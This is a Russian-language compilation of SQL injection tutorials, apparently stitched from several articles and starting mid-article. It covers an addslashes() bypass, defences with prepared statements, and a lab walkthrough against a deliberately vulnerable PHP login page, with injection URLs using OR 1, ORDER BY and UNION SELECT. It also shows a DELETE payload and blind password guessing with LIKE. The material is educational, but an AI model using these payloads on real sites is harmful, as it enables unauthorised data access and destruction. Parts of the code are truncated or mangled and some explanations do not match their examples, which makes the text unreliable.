Проблем, описанных в большинстве предыдущих примеров, можно избежать, используя одинарные кавычки в запросах. Если вы используете addslashes() , атаки через SQL-инъекции, построенные на использовании одинарных кавычек, экранируемых обратным слэшем, потерпят неудачу. Но такая атака может пройти, если просто подставить символ с кодом 0xbf27 , addslashes() преобразует его в символ с кодом 0xbf5c27 - а это вполне валидный символ одинарной кавычки. Другими словами, `뼧` пройдет через addslashes() , а потом маппинг MySQL конвертирует его в два символа 0xbf (¿) и 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Этот пример можно хакнуть, передав 뼧 or 1=1; -- в поле логина в форме. Движок SQL сгенерит конечный запрос так:

SELECT * FROM users WHERE login = "¿" OR 1=1; --

И вернет первого пользователя из БД.

Защита

Как же защитить приложение? Есть куча способов, применение которых не сделает приложение совсем неуязвимым, но хотя бы повысит его защищенность.

Использование mysql_real_escape_string

Функция addslashes() ненадежна, так как не предусматривает многие случаи взлома. У mysql_real_escape_string нет таких проблем

Использование MySQLi

Это расширение для MySQL умеет работать со связанными параметрами:

$stmt = $db->prepare("update uets set parameter = ? where id = ?"); $stmt->bind_param("si", $name, $id); $stmt->execute();

Использование PDO

Длинный способ подстановки параметров:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // insert one row $name = "one"; $value = 1; $stmt->execute();

Короткий способ:

$dbh = new PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE people SET name = :new_name WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Использование ORM

Используйте ORM и PDO и связывайте (используйте bind) параметры. Избегайте SQL в коде, если вы видите в коде SQL, значит, с ним что-то не так.

ORM позаботится о безопасности в самых узких местах в коде и о валидации параметров.

Выводы

Цель этой серии не предоставить полное руководство по взлому сайтов, а обеспечить безопасность приложения и предотвращение атак из любого источника. Я постарался написать эту статью не только для программистов — они должны быть в курсе любых угроз в коде и знать пути, как предотвратить их, но также и для инженеров по качеству — потому, что их работа заключается в том, чтобы отследить и сообщить такие моменты.

Суть SQL-инъекций

Наверное, уже слышали шутку из Интернета: «Почему во всех уроках рисования одно и тоже: Например, урок по рисованию совы. Сначала полчаса долго в деталях рисуем глаз совы. А потом - раз - за пять минут - рисуем оставшуюся часть совы ».

Вот даже картинка по этому поводу есть:

По SQL-инжектам материала море: статьи, книги, видеокурсы (платные и бесплатные). При этом не многие из них прибавляют понимания по этому вопросу. Особенно если вы новичок. Я хорошо помню свои ощущения: вот он кружок, вот он остаток совы…

Цель этой заметки - натянуть глаз на сову дать нормальное просто объяснение, что же такое SQL-инъекции, в чём заключается их суть, насколько и почему они опасны .

Для опытов, у нас будет очень простой и уязвимый к SQL-инъекции скрипт:

Для доступа к Бобруйской районной библиотеке введите Ваши учётные данные:

query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, "name"); $password = filter_input(INPUT_GET, "password"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = "$name" AND password = $password")) { while ($obj = $result->fetch_object()) { echo "

Ваше имя: $obj->name

Ваш статус: $obj->status

Доступные для Вас книги: $obj->books

"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>

Вы намного больше поймёте, если будете всё делать вместе со мной. Поэтому вот . В нём два файла: index.php и db_library.sql . Файл index.php разместите в любое место на сервере - это и есть наш уязвимый скрипт. А файл db_library.sql нужно импортировать, например, при помощи phpMyAdmin.

В файл index.php в качестве имени пользователя базы данных задан root, а пароль - пустой. Вы можете вписать свои данные, отредактировав строчку:

$mysqli = new mysqli("localhost", "root", "", "db_library");

По легенде, это форма входа в он-лайн версию Бобруйской районной библиотеки. Нам уже дали учётные данные: имя пользователя - Demo, пароль - 111 .

Давайте введём их и посмотрим:

Наши учётные данные приняты, на экраны выведено наше имя, статус и доступные для нас книги. Можете попробовать, с любыми другими данными (если поменять имя или пароль) мы не сможем войти и посмотреть доступные для чтения книги. Также мы не можем узнать, какие книги доступны для остальных, поскольку мы не знаем их имени и пароля.

Подсмотрим в исходный код, чтобы понять, как произошёл запрос к базе данных:
Слово SELECT в SQL-запросе показывает, какие данные нужно получить. Например, можно было бы указать SELECT name, или SELECT name, password. Тогда в первом бы случае из таблицы было бы получено только имя, а во втором - только имя и пароль. Звёздочка говорит, что нужно получить все значения. Т.е. SELECT * - это означает получить все значения.

FROM говорит откуда их нужно получить. После FROM следует имя таблицы, т. е. запись FROM `members` говорит, получить из таблицы `members`.

Далее WHERE , если вы изучали какие-либо языки программирования, то это слово больше всего напоминает «Если». А дальше идут условия, эти условия могут быть истинными (1) или ложными (0). В нашем случае

(name = ‘$name’) AND (password =’$password’)

означает, что условие будет истинным, если переданная переменная $name будет равна значению поля name в таблице и переданная переменная ‘$password будет равна значению поля password в таблице. Если хотя бы одно условия не выполняется (неверное имя пользователя или пароль), то из таблицы ничего не будет взято., т. е. выражение SELECT * FROM `members` WHERE name = ‘$name’ AND password =’$password’ означает: в таблице `members` взять значения всех полей, если для них выполняется условие - совпадают переданное имя пользователя и пароль с теми, которые встречаются в таблице.

Это понятно. Давайте теперь, например, с именем пользователя подставим одиночную кавычку:

Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Никакие данные не получены, вместо них мы видим ошибку:
При введении верных данных, наш запрос выглядел так:
При добавлении кавычки, наш запрос превращается в следующее:
Я поставил дополнительные пробелы для наглядности, т. е. у нас получается запрос
кстати, запрос верный по синтаксису. И сразу после него, без каких либо разделителей идёт продолжение запроса:

" AND password ="111"

Оно-то всё и ломает, поскольку количество открывающих и закрывающих кавычек не равно. Можно, например, подставить ещё одну кавычку:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Ошибка исчезла, но осмысленности это в запрос не добавило. Нам мешает бессмысленный хвост запроса. Как бы нам от него избавиться?

Ответ есть - это комментарии.

Комментарии в MySQL можно задать тремя способами:

# (решётка - работает до конца строки)
- (два тире - работают до конца строки, нужен символ пробела после двух тире)
/* это комментарий */ группа из четырёх символов - всё, что внутри - это комментарий, всё, что до или после этой группы символов, не считается комментарием.

Давайте в наш запрос с одной кавычкой, после этой кавычки поставим знак комментария, чтобы отбросить хвостик, и знак +, который обозначает пробел, чтобы запрос получился таким:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Ошибка не только исчезла, но и выведены корректные данные для пользователя Demo. Поскольку теперь наш запрос приобрёл вид
ведь хвостик -+ ‘ AND password =’111’ превратился в комментарий и больше на запрос не влияет.

Посмотрите ещё раз внимательно на новый запрос:
И в нём больше не проверяется пароль! Т.е. зная имена легитимных пользователей, но не зная их паролей, мы можем просматривать их личные данные. Т.е. мы уже начали эксплуатировать SQL-инъекцию.

К сожалению, я не знаю ни одного легитимного имени и мне нужно придумать что-то другое.

Посмотрим внимательно на эту часть запроса:
Помните про AND, которое используется в первом запросе? Оно означает логическую операции «И». Напомню, логическая операции «И» выдаёт «истина» (1) только если оба выражения являются истиной. Но логический оператор «ИЛИ» выдаёт «истина» (1) даже если хотя бы одно из выражений является истиной. Т.е. выражение
всегда будет истиной, всегда будет возвращать 1. Поскольку одно из двух сравниваемых выражений всегда возвращает 1.

Т.е. нам нужно составить выражение, которое будет выгладить так:
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 -+ &password=111

Результат:

Результат отличный! Мы получили список всех записей в таблице.

ORDER BY и UNION - главные друзья SQL-инъекций

Мы уже сейчас получили данные, которые были недоступны тем, у кого нет валидных имени пользователя и пароля. Можно ли что-то ещё получить? Да, можно получить полный дамп этой таблицы (напомню, у нас по прежнему нет паролей. Более того, мы можем получить все данные из всех баз на этом сервере через одну крошечную дырочку!

UNION позволяет объединять SQL-запросы. В реальной жизни у меня задачи простые, поэтому и простые запросы к базам данных и возможностями UNION я не пользуюсь. Но вот для SQL-инъекций ценнее этого слова нет.

UNION позволяет довольно гибко объединять SQL-запросы с SELECT, в том числе и от разных баз данных. Но есть важное требование к синтаксису: количество столбцов в первом SELECT должно равняться количеству столбцов во втором SELECT.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка:

Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &password=111

Запрос выглядит так:
Мы заменили имя пользователя на -1 чтобы не выводились никакие данные.

Ошибки нет, также нет ошибки и при запросах
А вот запрос
ему соответствует адресная строка

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 6 -+ &password=111

Выдал ошибку

Это означает, что из таблицы выбираются данные по пяти колонкам.

Конструируем наш запрос с UNION:

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях - не очень важно. Можно, например, прописать просто цифры - и именно они и будут выведены. Можно прописать NULL – тогда вместо поля ничего не будет выведено.
Адресная строка:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:
Все они будут вызывать одну и туже ошибку:

Делайте так пока не исчезнет сообщение об ошибке.

Обратите внимание, что содержимое некоторых полей UNION SELECT 1,2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции, которые можно писать непосредственно в UNION:

DATABASE() - показать имя текущей базы данных
CURRENT_USER() - показывает имя пользователя и имя хоста
@@datadir - выводит абсолютный путь до базы данных
USER() - имя пользователя
VERSION() - версия базы данных

В нашем примере выводятся поля 2, 4 и 5. Т.е. мы можем использовать любое из этих полей.

Используем DATABASE() в UNION SELECT

Адрес:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Результат:

Получение имён таблицы, полей и дамп базы данных

В базе данных information_schema есть таблица, которая называется tables . В этой таблице содержится список всех таблиц, которые присутствуют во всех базах данных этого сервера. Мы можем отобрать наши таблицы, ища в поле table_schema название нашей базы данных - ‘db_library’ (имя мы узнали с помощью DATABASE()).

Это называется полная техника UNION. Материала по ней предостаточно в Интернете. На моём же MySQL сервере полная техника UNION не работает. У меня появляется ошибка
Не работает не из-за кривизны рук, поскольку у sqlmap также эта техника не приносит результатов:

Something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique

Возможно, это связано с версией MySQL 5.6. Т.к. привести практических примеров я не могу, а переписывать чужие неработающие команды мне не интересно - сейчас и без меня в Интернете развелось «великих теоретиков» сколько угодно, то я решил сразу перейти к рассмотрению частичной технике UNION. Но это не самая простая техника, да и статья уже получилась достаточно большой.

В следующей части статьи мы изучим частичную технику UNION, с её помощью мы получим все данные на сервере: имена баз данных, имена их таблиц и полей в этих таблицах, а также их содержимое. Пока ждёте появления второй части - тренируйтесь, почитайте о SQL-инъекциях и технике UNION, дополнительно рекомендуются к ознакомлению следующие статьи:

П.с. ах да, забыл про LIMIT. Тоже в следующий раз расскажу о роли LIMIT в SQL-инъекциях.

SQL-инъекции — встраивание вредоносного кода в запросы к базе данных — наиболее опасный вид атак. С использованием SQL-инъекций злоумышленник может не только получить закрытую информацию из базы данных, но и, при определенных условиях, внести туда изменения.

Уязвимость по отношению к SQL-инъекциям возникает из-за того, что пользовательская информация попадает в запрос к базе данных без должной обработке: чтобы скрипт не был уязвим, требуется убедиться, что все пользовательские данные попадают во все запросы к базе данных в экранированном виде. Требование всеобщности и является краеугольным камнем: допущенное в одном скрипте нарушение делает уязвимой всю систему.

Пример уязвимости

Предположим, имеется скрипт, отображающий список пользователей из данного города, принимающий в качестве GET-параметра id города. Обращение к скрипту будет происходить с помощью HTTP по адресу /users.php?cityid=20

В скрипте выше разработчик вставляет GET-параметр в SQL-запрос, подразумевая, что в GET-параметре всегда будет число. Злоумышленник может передать в качестве параметра строку и тем самым повредить запрос. Например, он обратится к скрипту как /users.php?cityid=20; DELETE * FROM users
SQL-запрос получится таким:

Запрос выполнится, и скрипт выдаст не только пользователей из заданного города, но и список всех пользователей, у которых вместо реального имени отобразится пароль.

Как защититься?

Давайте заключим пользователькую информацию в одинарные кавычки. Поможет ли это?

Из примера выше видно, что заключить в одиночные кавычки недостаточно. Необходимо также экранировать все кавычки, содержащиеся в строке. Для этого в PHP предусмотрена функция mysql_real_escape_string(), которая добавляет обратный слеш перед каждой кавычкой, обратной кавычкой и некоторыми другим спецсимволами. Рассмотрим код:

Итак, чтобы защититься от SQL-инъекций, все внешние параметры, которые могут содержать текст, должны быть перед включением в SQL-запрос обработаны с помощью mysql_real_escape_string() и заключены в одиночные кавычки.

Если известно, что параметр должен принимать числовое значение числовым, его можно привести к числовому виду явно с помощью функции intval() или floatval() . В данном примере мы могли бы использовать:

$sql = "SELECT username, realname
FROM users
WHERE cityid="" .intval ( $_GET [ "cityid" ]) .""" ;

Отличия mysql_real_escape_string() и mysql_escape_string()

mysql_real_escape_string() является усовершенствованной версией функции mysql_escape_string(), широко применяемой для формирования безопасных запросов к БД MySQL. Отличия этих двух функций в том, что mysql_real_escape_string() правильно работает с многобайтовыми кодировками.

Предположим, в обрабатываемых данных есть символ (скажем, в UTF-8), код которого состоит из двух байт — шестнадцатеричных 27 и 2B (десятичные 39 и 43 соответственно). mysql_escape_string() воспринимает каждый байт передаваемых ей данных как отдельный символ (точнее, как код отдельного символа) и решит, что последовательность байт 27 и 2B — это два разных символа: одинарная кавычка (") и плюс (+). Поскольку функция воспринимает кавычку как специальный символ, перед байтом с кодом 27, который на самом деле является частью какого-то безобидного символа, будет добавлен слэш (\). В результате данные отправятся в базу в искаженном виде.

Стоит отметить, что mysql_real_escape_string() работает правильно во всех случаях и может полностью заменить mysql_escape_string().

mysql_real_escape_string() доступна в PHP с версии 4.3.0.

Дополнительные примеры

Мы рассмотрели наиболее простой пример, но на практике уязвимый запрос может быть более сложным и не отображать свои результаты пользователю. Далее рассмотрим примеры SQL-инъекций в некоторых более сложных случаях, не претендуя на полноту.

Инъекция в сложных запросах

В простейшем примере была возможность встроить код в конец SQL-запроса. На практике в конце SQL-запроса могут быть дополнительные условия, операторы сортировки, группировки и другие SQL-конструкции. В каждом конкретном случае, злоумышленник постарается встроить вредоносный кусок таким образом, чтобы запрос в целом остался синтаксически корректным, но выполнял другую функцию. Здесь мы рассмотрим простейший пример уязвимого запроса с дополнительным условием.

В результате условие age<35 не будет влиять на выборку, т.к. оператор OR имеет более низкий приоритет, чем AND, и WHERE из приведённого выше запроса по-другому можно записать в виде WHERE (cityid="20" AND 1 ) OR ("1" AND age<"35" ) (напомним, что выражение WHERE 1 истинно всегда). В результате под условие подойдут и те строки, у которых cityid="20", и те, у которых age<35, причем наличие последних не обязательно.

В случае сложных запросов успешные SQL-иъекции требуют некоторой изобретательности, но можно ожидать, что у злоумышленников она имеется.

Результаты запроса не отображаются пользователю

Может оказаться, что уязвимым является запрос, результаты которого не отображаются пользователю. Это может быть, например, вспомогательный запрос:

$sql = "SELECT count(*)
FROM users
WHERE userid="" .$_GET [ "userid" ] .""" ;

Запрос выше всего лишь проверяет наличие пользователя с данным userid: если он возвращает любую отличную от нуля величину — показывается профиль пользователя с соответствующим userid, если же возвращён 0 (то есть, нет пользователей, удовлетворяющих критерию запроса) — сообщение "пользователь не найден".

В этом случае определение пароля (или другой информации) производится перебором. Взломщик передает в качестве параметра userid строку 2" AND password LIKE "a% . Итоговый запрос:

SELECT count (*) FROM users WHERE userid= "2" AND password LIKE "a% "

Взломщик получит "пользователь не найден", если пароль не начинается на букву "a", или стандартную страницу с профилем пользователя, в противном случае. Перебором определяется первая буква пароля, затем вторая и.т.д.

Выводы

Все запросы, использующие внешние данные, требуется защитить от SQL-инъекций. Внешние данные могут быть переданы не только в качестве GET-параметров, но и методом POST, взяты из COOKIE, со сторонних сайтов или из базы данных, в которую пользователь имел возможность занести информацию.
Все числовые параметры следует явно преобразовывать в числовой вид с помощью функций intval() и floatval()
Все строковые параметры следует экранировать с помощью mysql_real_escape_string() и заключать в кавычки.
Если построить SQL-инъекцию сложно, не следует ожидать, что злоумышленник не догадается как это сделать. Особенно это относится к движкам, исходный код которых является публичным.

Удачи в построении безопасных приложений!